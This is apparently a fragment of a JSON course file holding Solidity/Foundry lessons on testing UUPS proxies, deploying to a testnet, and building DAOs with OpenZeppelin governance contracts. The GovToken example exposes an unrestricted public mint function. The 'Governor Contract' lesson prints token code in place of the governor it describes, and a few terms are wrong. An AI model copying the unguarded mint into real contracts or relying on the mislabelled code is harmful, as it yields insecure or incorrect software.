+ "updates": [] + }, + { + "lessonId": "26f63889-34b4-4866-aaea-6f69e0203a02", + "number": 7, + "title": "Testing UUPS proxies", + "slug": "uups-tests", + "folderName": "7-uups-tests", + "description": "A practical session on testing UUPS proxies, ensuring functionality and successful upgrades.", + "duration": 6, + "videoUrl": "8UyOk5AU4TlyD4tR5drnQsDK67CAfDSinTH3sFPI3zI", + "rawMarkdownUrl": "/routes/advanced-foundry/4-upgradeable/7-uups-tests/+page.md", + "markdownContent": "---\ntitle: UUPS Tests\n---\n\n_**Follow along with this video.**_\n\n\n\n---\n\nWelcome back friend we just created, deployed and upgraded our Box contract on previous lessons, today we are going to delve on good old tests to be sure everything works as expected.\n\n## Setting up Our Testing Environment\n\nWe will be creating a new Sol file where we will write some initial tests called `DeployAndUpgradeTest`, to demonstrate the true power of smart contract upgrades. As we are working with Solidity 0.8.18, we’ll be importing a test from Forge's standard test.sol file. And the Standard imports as always, Code-wise, it will look something like this:\n\n```js\n// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.19;\n\nimport {DeployBox} from \"../script/DepolyBox.s.sol\";\nimport {UpgradeBox} from \"../script/UpgradeBox.s.sol\";\nimport {Test, console} from \"forge-std/Test.sol\";\nimport {StdCheats} from \"forge-std/StdCheats.sol\";\nimport {ERC1967Proxy} from \"@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol\";\nimport {BoxV1} from \"../src/BoxV1.sol\";\nimport {BoxV2} from \"../src/BoxV2.sol\";\n\ncontract DeployAndUpgradeTest is StdCheats, Test {}\n```\n\n\n\n\n## Setting Up the Contract and Initial Tests\n\nNext, we proceed with creating a function setup. This function will aim to prepare the environment for testing. In this setup function we will define a *deployBox*, *upgradeBox*, and an owner address.\n\n```js\n function setUp() public {\n deployBox = new DeployBox();\n upgradeBox = new UpgradeBox();\n }\n```\n\nNow let's dive on the most basic test, check if the Box Works:\n\n```js\nfunction testBoxWorks() public {\n address proxyAddress = deployBox.deployBox();\n uint256 expectedValue = 1;\n assertEq(expectedValue, BoxV1(proxyAddress).version());\n }\n```\n\n## Implementing the Upgrade\n\nIn doing this, we will first define our *boxV2* and then proceed to upgrade *boxV1* to *boxV2* using our upgrade functionality. We will use assertions for these tests and validate whether the upgraded proxy now points to *boxV2*.\n\n```js\n function testUpgradeWorks() public {\n address proxyAddress = deployBox.deployBox();\n\n BoxV2 box2 = new BoxV2();\n\n vm.prank(BoxV1(proxyAddress).owner());\n BoxV1(proxyAddress).transferOwnership(msg.sender);\n\n address proxy = upgradeBox.upgradeBox(proxyAddress, address(box2));\n\n uint256 expectedValue = 2;\n assertEq(expectedValue, BoxV2(proxy).version());\n\n BoxV2(proxy).setValue(expectedValue);\n assertEq(expectedValue, BoxV2(proxy).getValue());\n }\n```\n\nIn the code above, we first deploy our new `boxV2` contract, then upgrade our `boxV1` to `boxV2` by pointing the existing proxy to `boxV2`. We then validate this through the `assertEqual` function.\n\nFurther, we also test whether functions that are unique to `boxV2` such as `setNumber` can be called on the updated `boxV2` through the proxy.\n\n\n\n\nLastly, it's worth mentioning that we should add a function to ensure that proxy starts as `boxV1`. This function will be set to revert with the previous setup. As a result, when attempting to run the `setNumber` function on the proxy, it should fail.\n\nNow that we have all our tests in place, let's run these one at a time using `forge test`.\n\n\n\n\nAnd voila! We can see that proxy has been successfully upgraded from `boxV1` to `boxV2`. Such upgrades are a crucial part of smart contract development, as they allow you to deploy new features, fix bugs and more, all while preserving the addresses that interact with your contract.\n\nWith the above guide, you now have a better understanding of how smart contract upgrades work. Good luck with crafting your own upgrades!\n\n", + "updates": [] + }, + { + "lessonId": "174283fa-d2ad-473b-9b5d-e97b1a56fa50", + "number": 8, + "title": "Deploying the stablecoin on the testnet", + "slug": "testnet-demo", + "folderName": "8-testnet-demo", + "description": "Demonstration of deploying stablecoin smart contracts on a testnet, covering the entire process from deployment to upgrade.", + "duration": 7, + "videoUrl": "02oF7zLHGaJrmZ02S9sVtTldj5EzNdjqjnbSK2ghteGG8", + "rawMarkdownUrl": "/routes/advanced-foundry/4-upgradeable/8-testnet-demo/+page.md", + "markdownContent": "---\ntitle: Testnet Demo\n---\n\n_**Follow along with this video.**_\n\n\n\n---\n\n# Upgradable Smart Contracts: Unveiling The Mystery\n\nHello, dear blog readers! I can barely contain my excitement as I eagerly wrap up the discussion on upgradable smart contracts that we just zoomed through. As a quick note, I encourage you all to engage in discussions, ask questions—ask away in the comments section, on Twitter or share your thoughts with your buddies. As you learn about the process, there is always something new to discover, question, and understand. So let the curiosity kitty out of the bag!\n\n## Upgrades or no upgrades?\n\nI must stress this, while we just learned about upgrades, I'd strongly discourage you from sticking to this default setting in the world of protocols with upgradable smart contracts as it can create a centralization problem. Why, you ask? If you have an upgradable smart contract, that implies a group can modify the logic of that code at any point or be compelled to alter the logic. Having said that, knowing about delegate call—an incredibly potent primitive—is essential.\n\nWith this, we're almost ready to proceed to the next steps.\n\n## Let's Get Practical\n\nThese steps aren't to stress you further ─ quite the contrary. Let's push this up to GitHub, add this to your portfolio and reward yourself with a well-earned break. Pat yourself on the back, because you've accomplished some pretty amazing work.\n\n\nNow, let’s deploy this phenomenal work to a testnet. I am going to go ahead and borrow a make file and then tweak it. To simplify our process, let's delete all the unnecessary stuff from the file and focus on the section of 'Deploy'.\n\n\n\nWith just these few steps, we have our two contracts ready to roll! Next, moving to Sepolia etherscan, I realized that neither of them verified correctly. It’s not an issue though, we can always attend to it and manually verify it later.\n\nTo proceed, I checked ‘My broadcast’ section in etherscan to identify which contract is which. Fun fact: ‘My broadcast’ is a great tool that details all your contract deployments and transactions.\n\n### Box v1 and Upgrade Process\n\nThe first contract created was named box v1. Now, it's a one-time exercise to copy this and paste it to verify manually later. Though it didn't quite verify initially, fret not, as I knew this was my box v1 with the correct address.\n\nThe next contract doesn't have a name, but it's clearly the proxy address. So we're left with two entities: a proxy and a box, with the former being substantially more important. Reason being, the proxy dynamically points to the box's implementation.\n\nAt this point, to prompt our upgrade, we execute the `make upgrade` command. Subsequently, a minor bug was detected with the script. I discovered that I needed to update my run latest to ERC 1967 proxy. No sweat, a quick manual addition and bye-bye bug.\n\nOn hitting the refresh button, with the bug sorted and having successfully identified the ERC 1967 proxy, our upgrade script could now run to upgrade box v1 to box v2.\n\n\n\n### The Final Showdown: Box v2\n\nWith box v2 being created and verified successfully, we now revisit our proxy to refresh and double-check. Sure enough, an upgrade was called on this contract. Henceforth, whenever we call functions on this, it points to box v2. It is important to keep in mind that we're calling the proxy and not the box v2 address.\n\nBy executing some handy commands to set the number to 77, the proxy was updated. We called upon box v2 and successfully saw a return of 77 in decimal representation.\n\nEt voilà! It worked like a charm, we had successfully deployed and worked with a proxy.\n\n## You've Made It!\n\nThat was intense and amazing! Designing, deploying and upgrading contracts is no joke and you've done a fantastic job. Post your accomplishments on Twitter; you may need a well-deserved ice cream break before we move on to our next topics.\n\nWe're cruising towards the end—Foundry governance and an introduction to security are the last few topics that are separating you from achieving greatness in smart contract development.\n\nStay tuned, stay smart, and keep yourself ready for absorbing more incredible contract knowledge! I'll see you in the next phase of this fantastic journey!\n\n", + "updates": [] + } + ] + }, + { +"sectionId": "7a5fa5f5-6d4d-4be4-a19d-d2b337abf943", + "number": 5, + "title": "DAOs", + "slug": "daos", + "folderName": "5-daos", + "lessons": [ + { + "lessonId": "5bf97f38-e188-41ab-b1d6-98c5b6243fd0", + "number": 1, + "title": "Introduction to DAOs", + "slug": "introduction-to-dao", + "folderName": "1-intro", + "description": "Introduction to the concept and operational mechanics of Decentralized Autonomous Organizations (DAOs).", + "duration": 19, + "videoUrl": "yYEVIVHUAAYJTrUn00MRcNpLNnpAQacfinH01G87AIcls", + "rawMarkdownUrl": "/routes/advanced-foundry/5-daos/1-intro/+page.md", + "markdownContent": "---\ntitle: DAOs & Governance Intro\n---\n\n_Follow along with this video._\n\n\n\n---\n\nWelcome back to yet another session in the series, today we're pacing up to lesson 14 of the topic \"Foundry DaoGovernance.\" All the code that we'll be using during the tutorial has been shared on the Github repository. So, make sure to check it out.\n\n## Closer Look at DAOs\n\nBefore we dive into how to build a DAO, it's crucial to solidify our understanding of DAOs. DAO stands for Decentralized Autonomous Organization, which can be somewhat confusing due to its broad definition. It essentially refers to any group operated by a clear set of rules embedded within a blockchain or smart contract.\n\n## How DAOs Work: An Overview\n\nIn simplest terms, imagine if all users of Google were given voting power on Google's future plans. Instead of decisions being privately made behind closed doors, the process is public, decentralized, and transparent. This innovative concept empowers users and eliminates trust issues, making DAOs a revolutionary area of exploration.\n\nLet’s dive deeper into DAOs by watching a few videos I have created in the past. After viewing these videos, we will shift focus to the practical aspect of coding a DAO.\n\n\"Dao\n\n## Understanding DAO's Through Compound Protocol\n\nCompound protocol is a stellar example that can help us understand the intricacies of DAOs. It's a borrowing and lending application constructed with smart contracts. Navigating through the protocol, we discover a governance section that offers an interface showing all the proposals and ballots. Here, the proposals to change aspects of the protocol such as adding new tokens, adjusting APY parameters, or blocking certain coins, etc. are enlisted.\n\nThis governance process is required since the contracts used often have access controls where only their owners, in this case, the governance DAO, can call certain functions.\n\n\"Dao\n\nA DAO do not limit its functionality to proposals and voting only. It also incorporates the feature of discussion forums where community members can deliberate on proposals, justifying their pros and cons before going ahead with the voting process.\n\n## Building a DAO: Architecture and Tools\n\nAfter understanding the basic workflow of DAO, let’s now talk about the architecture and tools that go into building DAO. First and foremost is the voting mechanism. One thing to keep in mind is to ensure that the voting mechanism is transparent and provides a fair way for participants to engage.\n\nDAO uses three main mechanisms for voting:\n\n1. ERC-20 or NFT Token as voting power: This approach is inherintly biased toward those who can afford to purchase more tokens, leading to a skewed representation of interests.\n2. Skin in The Game: Based on an article by Vitalik Buterin, he suggests that voters accountable for their choices. In this approach, people who vote for a decision that leads to negative outcomes will have their tokens taken away or reduced. Deciding which outcomes are bad is the tricky part.\n3. Proof of Personhood or Participation: This is where everyone in the community gets a single vote, regardless of how many wallets or tokens they have. This method is the most fair, but also the most difficult to implement due to the problem of civil resistance.\n\nOn chain and off chain are the two ways to implement voting in a DAO:\n\n- Onchain voting is simple to implement and transparent, but gas fees can add up quickly for large communities.\n- Offchain voting saves on gas fees and provides a more efficient way to vote, but presenting challenges in regards to centralised intermediaries.\n\n### Tools for Building a DAO\n\nThere are several no-code solutions and more tech-focused tools to help you build a DAO, including:\n\n- DAOstack\n- Aragon\n- Colony\n- DaoHouse\n- Snapshot\n- Zodiac\n- Tally\n- Gnosis safe\n- OpenZeppelin contracts\n\nBefore wrapping up, it's essential to touch briefly on the legal aspects of DAOs. DAOs are in a gray area operationally, with the state of Wyoming in the United States being the only state where a DAO can be legally recognized. Read up on the legal implications before you dive into creating your DAO!\n\nRemember, as an engineer, you have the power to build and shape the future of DAOs. So dive in and get building!\n\nStay tuned for our next sublesson, where we will guide you through the process of building a DAO from scratch. Remember to hit the like and subscribe button for more engineering-first content on smart contracts. Happy coding!\n", + "updates": [] + }, + { + "lessonId": "6dfdc8b2-cb5a-4ee1-96a0-c46b6dd75a20", + "number": 2, + "title": "DAOs tooling - Introduction to Aragon", + "slug": "introduction-to-aragon-dao", + "folderName": "2-aragon", + "description": "Overview of Aragon, a tool for creating and managing DAOs without the need for extensive coding.", + "duration": 19, + "videoUrl": "yYEVIVHUAAYJTrUn00MRcNpLNnpAQacfinH01G87AIcls", + "rawMarkdownUrl": "/routes/advanced-foundry/5-daos/2-aragon/+page.md", + "markdownContent": "---\ntitle: Aragon\n---\n\n_Follow along with this video._\n\n\n\n---\n\n# Building a DAO from Scratch: No Code Required, with Aragon\n\nToday, we're venturing into the exciting world of Decentralized Autonomous Organizations (DAOs), and we'll be doing it in a surprisingly code-light way. We're delighted to have Juliet Cevalier from the Aragon team as our expert guide. She's here to introduce Aragon's no-code node solution for the relatively simple creation of powerful, customizable DAOs.\n\n\"Dao\n\n## Meet Our Aragon Expert\n\nBefore we dive in, let's welcome Juliet Cevalier. As the developer advocate for Aragon, she'll give us insights on how to build a DAO without using a single line of code.\n\n\"Dao\n\n## Introduction to the Aragon DAO Framework\n\nTo undertake this task, Juliet is using the [Aragon DAO framework](https://aragon.org/). To understand how Aragon's architecture is set up, let’s first consider the base structure of DAOs.\n\nDAOs primarily consist of a smart contract responsible for containing all of the organization's managed assets, acting effectively as the treasury. Still, the beauty and power of DAOs come from their highly extendable functionality, made possible through plugins.\n\nReady to proceed with the DAO-building journey? Let's follow Juliet's step-by-step guide.\n\n## Step 1: Creating a DAO on Aragon\n\nFirstly, log on to [app.aragon.org](https://app.aragon.org/). Once there, click on 'Create a DAO'. You’ll then see an outline of the process we'll be following, starting with choosing the blockchain where our DAO will be deployed.\n\n\"Dao\n\n## Step 2: Describing Your DAO\n\nNext is the DAO’s descriptive details including name, logo, and brief description. For the sake of this tutorial, we'll name ours “Developer DAO”.\n\n\"Dao\n\n## Step 3: Defining DAO Membership\n\nDefining membership is a crucial next step as it’s what determines who can participate in the governance of these assets. Currently, Aragon supports token holders and multisig members as types of governance members.\n\nThe token holders method allows holders of specific tokens to vote in the organization. The multisig members, on the other hand, establishes a specific quorum that needs to be met for a proposal to go through.\n\n_These governance mechanisms, with their own unique decision-making and asset management abilities, are facilitated by back-end plugins. These are powerful extensions that can also perform tasks like fund movement, treasury management, and enabling different coordination styles._\n\n## Step 4: Create a DAO Token\n\nThe creation of a unique DAO token comes next. Let's call ours 'DVP'. We can assign 1000 tokens to ourselves and specify a minimum amount of tokens that a member needs for proposal creation.\n\n_In this instance, we'll suggest a minimum of ten tokens to prevent proposal spam._\n\n## Step 5: Set Up Governance Settings\n\nOnce the token creation is complete, we proceed to set up governance settings which includes specifying the minimum support threshold required for a valid proposal, the minimum participation needed, and the minimum time that a proposal should be open for voting.\n\nWe'll also decide whether to enable early execution, which means that we wait for the entire time of the proposal's duration, and whether to allow change of vote after submission.\n\n## Step 6: Review and Finalize\n\nLastly, we'll review the parameters that we've set. It's crucial to note that the blockchain selection is the only non-editable item since it forms the basis for the DAO’s deployment. Everything else can later be changed via a proposal vote.\n\n_This flexibility gives us the power to adapt and evolve our DAO with changing circumstances and needs._\n\n## Step 7: DAO Deployment\n\nWith the parameters set, we'll deploy our DAO by signing the proposal. What happens next is the creation of a DAO instance with the defined plugins and settings.\n\n\"Dao\n\nOnce the deployment is complete, we can easily monitor, manage, and make decisions within the DAO through the dashboard.\n\n## Final Thoughts\n\nWhile Aragon provides you with a basic template to get started, remember, your DAO’s evolution and customization possibilities are endless. You can expect more iterations, plugin options, and decision-making strategies to take your DAO to the next level.\n\nThank you for joining us today. We look forward to seeing the powerful, value-driven DAOs you create.\n", + "updates": [] + }, + { + "lessonId": "2bce26c6-e68f-4f8e-aaef-a5e4b82d02c6", + "number": 3, + "title": "Project setup", + "slug": "setup", + "folderName": "3-setup", + "description": "Guidance on setting up a project for creating a DAO, with emphasis on ERC-20 based plutocracy DAOs.", + "duration": 5, + "videoUrl": "RN4mN7bGQ7b02Lhv5P9IMiyqSKrOynziF3Gy8H01QIGcg", + "rawMarkdownUrl": "/routes/advanced-foundry/5-daos/3-setup/+page.md", + "markdownContent": "---\ntitle: Setup\n---\n\n_Follow along with this video._\n\n\n\n---\n\nToday, I'm going to take you deeper into the captivating world of DAOs, Decentralized Autonomous Organizations. More specifically, I'll be throwing light on plutocracy DAOs, which are based on ERC 20 tokens, and show you how to create one from scratch using FOUNDATION.\n\nBe warned though, gaining a solid conceptual understanding of these inside-out is of paramount importance before jumping to establish your DAO. Let's keep our journey enlightening and error-free, shall we?\n\n## The Caveat About Plutocracy DAOs\n\nA word of caution before we take the leap: launching a DAO is no casual affair. Many newbies hurry into launching their governance tokens and find themselves neck-deep in problems down the line.\n\n\"Dao\n\nTherefore, it's essential to have a foolproof white paper justifying your need for a governance token. In short, do not make DAO creation decisions in haste, lest they come back to haunt your project.\n\n## Let's Get Our Hands Dirty with Code\n\nTo jump-start this process, we will look at the most popular DAO model currently in use across major platforms like Compound, Uniswap, and Aave.\n\nPlease bear in mind, just because it's \"popular\", doesn't mean it's the best fit for every situation or the only available model. Always strive for improving and optimizing the web3 ecosystem.\n\n### Stage 1: Creating a Contract Controlled by DAO\n\nFirst things first, we'll make a contract fully controlled by our DAO.\n\n```shell\nmkdir foundry-dao-f23\ncd foundry-dao-f23\n\n```\n\nOpen your code editor (VS Code in this case).\n\n```bash\nforge init\n```\n\nThen, set up a README for outlining what you'll be doing.\n\n### Here are our main objectives:\n\n1. Establish a contract completely controlled by our DAO.\n2. Every transaction the DAO wants to send will need to be voted on.\n3. For voting, we'll utilize ERC 20 tokens.\n\n\"Dao\n\nLet's get down to business.\n\n### Stage 2: Creating a Minimal Contract\n\nLet's create a minimal contract that we can vote on. Our contract will look somewhat similar to the contracts we've worked on before.\n\n```bash\ntouch src/Box.sol\n```\n\nThis is how `Box.sol` should look like:\n\n```js\n// contracts/Box.sol\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport {Ownable} from \"@openzeppelin/contracts/access/Ownable.sol\";\n\ncontract Box is Ownable {\n uint256 private value;\n\n // Emitted when the stored value changes\n event ValueChanged(uint256 newValue);\n\n // Stores a new value in the contract\n function store(uint256 newValue) public onlyOwner {\n value = newValue;\n emit ValueChanged(newValue);\n }\n\n // Reads the last stored value\n function retrieve() public view returns (uint256) {\n return value;\n }\n}\n```\n\nIn the code block above, the `value` variable can only be modified by the DAO itself. The moment a new value is stored, an event of number change gets emitted notifying the updated number.\n\nAnd there we have our minimal contract. This contract somewhat echoes a project I have previously worked on, known as `Box.sol`, a simple storage contract.\n\nRemember to test your code to make sure everything compiles as expected:\n\n```bash\nforge compile\n```\n\n### Stage 3: Creating a Voting Token\n\nNow we get to the exciting part. Using ERC 20 tokens for voting means we'll have to create our very own voting token.\n\nStay tuned for my next blog post where we'll dive into creating your unique voting token.\n\nHappy experimenting until then!\n", + "updates": [] + }, + { + "lessonId": "95b25edd-db0a-4585-aa86-bd62171561b1", + "number": 4, + "title": "Governance tokens", + "slug": "governance-tokens", + "folderName": "4-governance-tokens", + "description": "Tutorial on creating governance tokens using ERC-20 extensions to facilitate DAO voting and decision-making processes.", + "duration": 4, + "videoUrl": "x00t00fuM00p1Nuhwxhgyq8mvdrh4ZoB8ek5rzizy02D9Kk", + "rawMarkdownUrl": "/routes/advanced-foundry/5-daos/4-governance-tokens/+page.md", + "markdownContent": "---\ntitle: Governance Tokens\n---\n\n_Follow along with this video._\n\n\n\n---\n\nHello there, tech enthusiasts! Are you interested in creating a voting token to govern your smart contracts? Then today's sublesson will lead you step-by-step through the process, using Open Zeppelin's Contracts Wizard.\n\nTo create these tokens, we will use an ERC-20 token with specific extensions to allow for advanced behaviors and control. So buckle up, and let's get coding!\n\n## **Step 1: Using Open Zeppelin's Contracts Wizard**\n\nOpen Zeppelin, a provider of software libraries for Ethereum, offers numerous contracts that developers can implement for tokens. We'll use the Contracts Wizard, a user-friendly tool to generate smart contracts.\n\nNavigate over to the wizard, select ERC-20 contract and within it, you'll see a tab named _votes_. Once you’ve selected this, copy the given code and then paste it into your new file named `GovToken.sol`. This will serve as the core of our voting token.\n\n## **Step 2: Understanding the Code**\n\nNow, we have successfully copied the code, let's delve into what we have:\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {ERC20Permit} from \"@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol\";\nimport {ERC20Votes} from \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol\";\n\ncontract GovToken is ERC20, ERC20Permit, ERC20Votes {\nconstructor() ERC20(\"MyToken\", \"MTK\") ERC20Permit(\"MyToken\") {}\n\n // The following functions are overrides required by Solidity.\n\n function mint(address to, uint256 amount) public {\n _mint(to, amount);\n }\n\n function _afterTokenTransfer(address from, address to, uint256 amount) internal override(ERC20, ERC20Votes) {\n super._afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address to, uint256 amount) internal override(ERC20, ERC20Votes) {\n super._mint(to, amount);\n }\n\n function _burn(address account, uint256 amount) internal override(ERC20, ERC20Votes) {\n super._burn(account, amount);\n }\n\n}\n```\n\nWhat we have here are two crucial extensions to our ERC-20 token:\n\n- **ERC20Permit**: This extension allows approvals to be made via signatures. Simply put, you can sign a transaction without sending it, allowing someone else to send the transaction instead. This function is based on the EIP-2612, which, if you're interested, I'd recommend checking out [here](https://eips.ethereum.org/EIPS/eip-2612) for more information.\n- **ERC20Votes**: This is the heart of our voting functionality. It performs key actions like keeping the history of each account's voting power, and enabling the delegation of voting rights to another party.\n\n## **Delegating with ERC20Votes**\n\nAn interesting function of the ERC20Votes is token delegation. Sometimes, you might trust another party's judgement more than your own on certain topics. ERC20Votes' delegation function lets you delegate the voting rights of your token to this party, even though the tokens are still legally yours.\n\n## **Conclusion**\n\nCongratulations! You've successfully created a secure, flexible voting token. This ERC20 token not only maintains checkpoints of voting power but also enables token holders to delegate their voting rights.\n\nRemember, Open Zeppelin’s Contracts Wizard is an excellent tool for exploring various token functionalities as per your requirements. Happy coding!\n\n\"Dao\n", + "updates": [] + }, + { + "lessonId": "cecdace6-083a-4315-af14-95cfe95b65be", + "number": 5, + "title": "Creating the governor contract", + "slug": "create-governor-contract", + "folderName": "5-governor-contract", + "description": "Instructions for creating a governor contract for DAOs, utilizing Open Zeppelin's tools for efficient and secure contract generation.", + "duration": 15, + "videoUrl": "e34WuxPtYHsMqPITGJXlY3ot027pnJ8MbMZYB00BWVU00c", + "rawMarkdownUrl": "/routes/advanced-foundry/5-daos/5-governor-contract/+page.md", + "markdownContent": "---\ntitle: Governor Contract\n---\n\n_Follow along with this video._\n\n\n\n---\n\nHello there! Today I want to share a really interesting piece of tech I've recently used, the [Open Zeppelin Wizard](https://docs.openzeppelin.com/contracts/4.x/wizard). This tool is incredibly helpful in generating smart contracts for creating a DAO, which stands for a Decentralized Autonomous Organization. Why are DAO's exciting? Well, they allow for democratized decision making, meaning the members of the DAO can vote about its future actions.\n\nIn this post, I want to walk you through a solution that makes use of the Zeppelin Wizard to create a DAO.\n\n## Zeppelin Wizard Overview\n\nThe Zeppelin Wizard helps us with multiple facets of setting up a DAO. One of its features is the Governor, which we can configure to suit our needs. For instance, we can adjust the voting delay, voting period, and proposal threshold in line with the governance model we're aiming for. Do we want our voting to start immediately after proposing? Or after 100 blocks? All these details are customizable.\n\nHere's the interesting part - we can copy the output code from the wizard and integrate it into our contracts with minimal changes. To illustrate this, I'll walk you through a sample setup of a Governor contract along with a crucial TimeLock mechanism.\n\n\"Dao\n\n## Creating the Governor contract\n\nFirst, we need to update our Governor contract and import the necessary interfaces (`IVotes`, `GovernorVotes` & `TimeLockController`). We'll be using _named imports_ since they make our code cleaner.\n\nHere's an overview of what the Governor contract entails.\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {ERC20Permit} from \"@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol\";\nimport {ERC20Votes} from \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol\";\n\ncontract GovToken is ERC20, ERC20Permit, ERC20Votes {\n constructor() ERC20(\"MyToken\", \"MTK\") ERC20Permit(\"MyToken\") {}\n\n // The following functions are overrides required by Solidity.\n\n function mint(address to, uint256 amount) public {\n _mint(to, amount);\n }\n\n function _afterTokenTransfer(address from, address to, uint256 amount) internal override(ERC20, ERC20Votes) {\n super._afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address to, uint256 amount) internal override(ERC20, ERC20Votes) {\n super._mint(to, amount);\n }\n\n function _burn(address account, uint256 amount) internal override(ERC20, ERC20Votes) {\n super._burn(account, amount);\n }\n}\n```\n\nThis may seem a bit abstract, but let me break it down a bit.\n\nWhen somebody makes a proposal, it gets registered in the system. We essentially have a record of when a vote started and ended, whether it was executed or canceled. This information helps us identify the status of a proposal and whether it has passed.\n\nNext, we have the `execute` function. Once a proposal gets approved by the DAO members, we call this function to implement the operation involved in the proposal.\n\nThe final key function is `cast vote`. This allows members of the DAO to cast votes on various proposals. Depending on the overall voting system, the weight of each member's vote could be dependent on the number of tokens they hold.\n\n## Building the TimeLock Controller Contract\n\nThe final step in our set up is creating the TimeLock Controller contract, which, fortunately, we can do with minimum effort thanks to Open Zeppelin's repository.\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport {TimelockController} from \"@openzeppelin/contracts/governance/TimelockController.sol\";\n\ncontract TimeLock is TimelockController {\n // minDelay is how long you have to wait before executing\n // proposers is the list of addresses that can propose\n // executors is the list of addresses that can execute\n constructor(uint256 minDelay, address[] memory proposers, address[] memory executors)\n TimelockController(minDelay, proposers, executors, msg.sender)\n {}\n}\n```\n\nAnd this is it for this sub-section. We now have a TimeLock contract that we can use to lock our Governor contract. Keep learning and stay tuned for the next post!\n\nHappy coding!\n", + "updates": [] + }, + { + "lessonId": "baa7e801-d9fb-420d-afdb-0c84fa9740d2", + "number": 6, + "title": "Testing the governance smart contract", + "slug": "tests", + "folderName": "6-tests", + "description": "Comprehensive guide on testing governance smart contracts to ensure efficient and secure DAO operations.", + "duration": 24, + "videoUrl": "1QlC5gNDvn02qshVXBwZw5EdWvZwZUGQKZL23ypj3vIU", + "rawMarkdownUrl": "/routes/advanced-foundry/5-daos/6-tests/+page.md", + "markdownContent": "---\ntitle: Tests\n---\n\n_Follow along with this video._\n\n\n\n---\n\nOn this lesson we are going to write some test for our DAO.\n\n## Testing Your DAO\n\nLet's start by writing a test.\n\n```shell\ntouch test/MyGovernorTest.t.sol\n```\n\nOne of the reasons we are proceeding a bit swiftly is because- This. Is. It. This is the point where you level up from being a novice to developing a strong understanding of how DAOs work.\n\nWe are going to write a test which will cover the whole process. The test we write here is going to be a comprehensive one so you can see this process in action from start to finish.\n\nAnd here's what you should know already:\n\n- How to flesh out this repo with scripts, tests.\n- How to write unit tests, fuzz tests, and more.\n- How to make your project bigger and better (also read as, bad\\*ss).\n\n## Testing the Governance Protocol\n\nWe are going to code 2 main tests:\n\n**Cannot Update Box Without Governance:** This test ensures that the governance mechanism is properly implemented by attempting to update the Box contract without the necessary governance authorization. If the update attempt doesn't revert, it signifies a vulnerability in the governance setup, highlighting the importance of secure access control.\n\n**Governance Updates Box:** This test scenario simulates a complete governance process for updating the Box contract. It starts by proposing a change, which encapsulates the desired update along with metadata. After the voting period elapses, the vote is executed if passed. In this case, the proposed change involves storing a specific value in the Box contract, showcasing the end-to-end functionality of the governance system.\n\nThis is how the testing script will look like:\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {Test, console} from \"forge-std/Test.sol\";\nimport {MyGovernor} from \"../src/MyGovernor.sol\";\nimport {GovToken} from \"../src/GovToken.sol\";\nimport {TimeLock} from \"../src/TimeLock.sol\";\nimport {Box} from \"../src/Box.sol\";\n\ncontract MyGovernorTest is Test {\n GovToken token;\n TimeLock timelock;\n MyGovernor governor;\n Box box;\n\n uint256 public constant MIN_DELAY = 3600; // 1 hour - after a vote passes, you have 1 hour before you can enact\n uint256 public constant QUORUM_PERCENTAGE = 4; // Need 4% of voters to pass\n uint256 public constant VOTING_PERIOD = 50400; // This is how long voting lasts\n uint256 public constant VOTING_DELAY = 1; // How many blocks till a proposal vote becomes active\n\n address[] proposers;\n address[] executors;\n\n bytes[] functionCalls;\n address[] addressesToCall;\n uint256[] values;\n\n address public constant VOTER = address(1);\n\n function setUp() public {\n token = new GovToken();\n token.mint(VOTER, 100e18);\n\n vm.prank(VOTER);\n token.delegate(VOTER);\n timelock = new TimeLock(MIN_DELAY, proposers, executors);\n governor = new MyGovernor(token, timelock);\n bytes32 proposerRole = timelock.PROPOSER_ROLE();\n bytes32 executorRole = timelock.EXECUTOR_ROLE();\n bytes32 adminRole = timelock.TIMELOCK_ADMIN_ROLE();\n\n timelock.grantRole(proposerRole, address(governor));\n timelock.grantRole(executorRole, address(0));\n timelock.revokeRole(adminRole, msg.sender);\n\n box = new Box();\n box.transferOwnership(address(timelock));\n }\n\n function testCantUpdateBoxWithoutGovernance() public {\n vm.expectRevert();\n box.store(1);\n }\n\n function testGovernanceUpdatesBox() public {\n uint256 valueToStore = 777;\n string memory description = \"Store 1 in Box\";\n bytes memory encodedFunctionCall = abi.encodeWithSignature(\"store(uint256)\", valueToStore);\n addressesToCall.push(address(box));\n values.push(0);\n functionCalls.push(encodedFunctionCall);\n // 1. Propose to the DAO\n uint256 proposalId = governor.propose(addressesToCall, values, functionCalls, description);\n\n console.log(\"Proposal State:\", uint256(governor.state(proposalId)));\n // governor.proposalSnapshot(proposalId)\n // governor.proposalDeadline(proposalId)\n\n vm.warp(block.timestamp + VOTING_DELAY + 1);\n vm.roll(block.number + VOTING_DELAY + 1);\n\n console.log(\"Proposal State:\", uint256(governor.state(proposalId)));\n\n // 2. Vote\n string memory reason = \"I like a do da cha cha\";\n // 0 = Against, 1 = For, 2 = Abstain for this example\n uint8 voteWay = 1;\n vm.prank(VOTER);\n governor.castVoteWithReason(proposalId, voteWay, reason);\n\n vm.warp(block.timestamp + VOTING_PERIOD + 1);\n vm.roll(block.number + VOTING_PERIOD + 1);\n\n console.log(\"Proposal State:\", uint256(governor.state(proposalId)));\n\n // 3. Queue\n bytes32 descriptionHash = keccak256(abi.encodePacked(description));\n governor.queue(addressesToCall, values, functionCalls, descriptionHash);\n vm.roll(block.number + MIN_DELAY + 1);\n vm.warp(block.timestamp + MIN_DELAY + 1);\n\n // 4. Execute\n governor.execute(addressesToCall, values, functionCalls, descriptionHash);\n\n assert(box.retrieve() == valueToStore);\n }\n}\n\n```\n\n## Wrapping Up\n\nYou've learned how a typical 